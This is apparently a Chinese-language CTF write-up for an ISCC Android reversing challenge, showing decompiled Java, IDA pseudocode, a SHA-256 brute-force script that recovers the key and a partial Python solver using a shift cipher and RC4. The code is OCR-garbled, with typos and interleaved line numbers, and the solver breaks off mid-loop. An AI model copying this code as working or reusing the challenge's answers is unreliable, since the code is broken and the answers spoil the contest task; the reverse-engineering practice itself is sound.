     String trim = this.keyEditText.getText().toString().trim();
if (trim.isEmpty()) {
          Toast.makeText(this, "Please enter the key", 0).show();
          return;
    KeyManager.setKey(trim);
if (!validateKey(trim))
          Toast.makeText(this, "Wrong key, please find the correct key from 'Character 1 PNG'.", 0).show();
     String trim2 = this.flagEditText.getText().toString().trim();
     if (trim2.isEmpty())
          Toast.makeText(this, "Please enter the flag", 0).show();
     if (!trim2.startsWith("ISCC(") || !trim2.endsWith("}")) {
   Toast.makeText(this, "Wrong format", 0).show();
          return:
     String substring = trim2.substring(5, trim2.length() - 1);
     stubstring isEmpty();
if (new C0499a().m51a(KeyManager.getKey(), substring)) {
   Toast.makeText(this, "Success", 0).show();
          Toast.makeText(this, "Wrong flag, try again", 0).show();
```

还是输入校验逻辑,会先校验我们输入的key,key过了才会让输入flag,这里输入的key会在下面的m51a方法里面和我们输入的flag一起传入,那么程序里面应该能找到这个key,看上面

```
public class MainActivity extends AppCompatActivity {
   private EditText flagEditText;
   private EditText keyEditText;
   private ImageButton validateButton;

public native boolean validateKey(String str);

static {
    System.loadLibrary("ggad");
}
```

那么key应该在这个ggad库里面,ida看看

把我们输入的密钥转成sha256,然后和硬编码的sha256比对,爆一下吧

```
代码块
    import hashlib
 1
    import itertools
 2
 3
    import string
4
    import time
 5
 6
    TARGET_HEX_HASH =
    "e60bc9dff5c6c5b4b63b8257ae4d55dfe1d8a622ecb531a2a9898c8fe5c1cd1"
7
    CHARACTER_SET = string.digits + string.ascii_lowercase + string.ascii_uppercase
8
9
10
    MAX_LENGTH_TO_TRY = 20
11
12
    print(f"目标十六进制哈希: {TARGET_HEX_HASH}")
    print(f"使用字符集({len(CHARACTER_SET)}个字符): {CHARACTER_SET}")
13
    print(f"最大尝试长度: {MAX_LENGTH_TO_TRY}")
14
    print("-" * 30)
15
16
17
    start_time = time.time()
    found = False
18
19
    # 遍历可能的字符串长度
20
    for length in range(1, MAX_LENGTH_TO_TRY + 1):
21
22
        print(f"正在尝试长度: {length}...")
        for combination in itertools.product(CHARACTER SET, repeat=length):
23
```

```
24
            attempt_string = "".join(combination)
25
            attempt_bytes = attempt_string.encode('utf-8')
26
            calculated hash = hashlib.sha256(attempt_bytes).hexdigest()
27
28
29
            if calculated_hash == TARGET_HEX_HASH:
                end_time = time.time()
30
                print("-" * 30)
31
                print("!!! 找到了原始字符串!!!")
32
                print(f"原始字符串是: {attempt_string}")
33
                print(f"计算得到的哈希: {calculated_hash}")
34
                print(f"总耗时: {end time - start time:.2f} 秒")
35
                found = True
36
                break
37
38
39
        if found:
40
            break
41
42
    if not found:
        end_time = time.time()
43
        print("-" * 30)
44
        print(f"在尝试长度到{MAX LENGTH TO TRY}之前,未能找到匹配的字符串。")
45
        print(f"总耗时: {end_time - start_time:.2f} 秒")
46
```

得到ExpectoPatronum为密钥

找到密钥后,看下m51a方法,里面应该有密文和加密方式

```
/* toaged from: Classes.gex */
public class (Gu99a {
    private native String JNI2(String str, String str2);

private native String JNI2(String str);

static {
    System.loadLibrary(*ggad*);
}

/* renamed from: a */
public boolean m51a(String str, String str2) {
    return (G500b.m53a(JNI2(m52b(JNFI(str2, str))));
}

/* renamed from: b */
public String m52b(String str) {
    StringBuilder sb = new StringBuilder();
    int i = 0;
    while (i < str.length()) {
        int i = i + 2;
        sb.append(String.format(*%8s*, Integer.toBinaryString(Integer.parseInt(str.substring(i, i2), 16))).replace(' ', '0'));
        i = i2;
    }
    return sb.toString();
}
</pre>
```

m53a里面有密文,就是最上面那个,m52b就是转个十六进制字符串

继续看本地方法,分析JNI1和JNI2

JNI1就是个rc4

```
{
v15 = (n0x17_1 | 0xf) + 1;
dest_1 = (char *)operator new(v15);
ptr_2 = dest_1;
v24[a] = v15 | 1;
v24[a] = v15 | 1;
v24[a] = n_1;
goto LABEL_12;
}
LOBYTE(v24[a]) = 2 * n0x17_1;
dest_1 = (char *)v24 + 1;
if (n0x17_1)
LABEL_12:
memmove(dest_1, s_1, n_1);
dest_1[n_1] = 0;
rc4(kv21, v24, dest);
(*void (-fasteall **)(_int64, _int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, v19, s);
(*void (-fasteall **)(_int64, _int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, v20, s_1);
if ((v21 & 1) = 0)
ptr_4 = (char *)ptr_3;
else
ptr_4 = &v22;
v17 = (*(_int64 (_fasteall **)(_int64, char *))(*(_QWORD *)a1 + 1336LL))(a1, ptr_4);
if ((v21 & 1) = 0)
goto LABEL_18;
LABEL_22:
operator delete(ptr_2);
if ((dest[0] & 1) == 0)
return v17;
goto LABEL_19;
}
GOOGLAFC_INT1:59 (GLAFC)
```

JNI2也很明显,二进制转十进制

还有一些小细节,都在代码里面可以分析,m53a在前面,条件密文密钥都已知

```
代码块
     def affine cipher decode(encoded msg, cipher key):
 2
         decoded_parts = []
 3
         key_pos = 0
 4
 5
         for current_char in encoded_msg:
             if current_char.isalpha():
 6
 7
                 plain_char = chr(((ord(current_char.upper()) - ord('A')) -
     (ord(cipher_key[key_pos % len(cipher_key)].upper()) - ord('A')) + 26) % 26 +
     ord('A'))
                 if current_char.islower():
 8
                     decoded_parts.append(plain_char.lower())
 9
10
                 else:
                     decoded_parts.append(plain_char)
11
                 key_pos += 1
12
             else:
13
                 decoded_parts.append(current_char)
14
15
16
         return ''.join(decoded_parts)
17
18
     def process_string(input_string, key_material):
19
         return affine_cipher_decode(input_string, key_material)
20
21
22
23
     def transform_string(input_string):
         cipher_key = 'ExpectoPatronum'
24
         return process_string(input_string, cipher_key)
25
26
```

```
27
    def setup state vector(cipher key):
28
        if isinstance(cipher_key, str):
29
            cipher_key = cipher_key.encode()
30
        state_vector = list(range(256))
31
        k_idx = 0
32
33
        for idx in range(256):
34
            k_idx = (k_idx + state_vector[idx] + cipher_key[idx %
    len(cipher_key)]) % 256
35
            state_vector[idx], state_vector[k_idx] = state_vector[k_idx],
    state_vector[idx]
36
        return state_vector
37
38
39
    def generate_keystream_xor(state_vector, encoded_msg):
40
        if isinstance(encoded_msg, str):
41
            encoded_msg = encoded_msg.encode()
42
        idx = k_i dx = 0
        xor_output = []
43
        for data_byte in encoded_msg:
44
45
            idx = (idx + 1) \% 256
            k_idx = (k_idx + state_vector[idx]) % 256
46
            state_vector[idx], state_vector[k_idx] = state_vector[k_idx],
47
    state_vector[idx]
            temp_sum = (state_vector[idx] + state_vector[k_idx]) % 256
48
49
            keystream_byte = state_vector[temp_sum]
            xor_output.append(data_byte ^ keystream_byte)
50
51
        return bytes(xor_output)
52
53
54
    if __name__ == "__main__":
        encoded binary str =
55
     010100001000110011'
56
        initial_cipher_str = '2582J18CRG13'
57
58
        processed_string = transform_string(initial_cipher_str)
59
        binary_decoded_string = ''
60
        for idx in range(0, len(encoded_binary_str), 8):
61
            binary_decoded_string += chr(int(encoded_binary_str[idx:idx + 8], 2))
62
63
        interleaved_string = ''
64
65
        for idx in range(12):
66
                interleaved_string += binary_decoded_string[idx]
67
                interleaved_string += processed_string[idx]
68
```

```
69
         hex_byte_list = [int(interleaved_string[idx:idx+2], 16) for idx in
70
     range(0, len(interleaved_string), 2)]
71
72
         full_binary_str = ''
         for value in hex_byte_list:
73
74
             binary_representation = bin(value)[2:]
             full_binary_str += ("{:0>8}".format(binary_representation))
75
76
         flipped_binary_str = ''
77
         for bit in full_binary_str:
78
79
             if(bit == '1'):
                 flipped_binary_str += '0'
80
```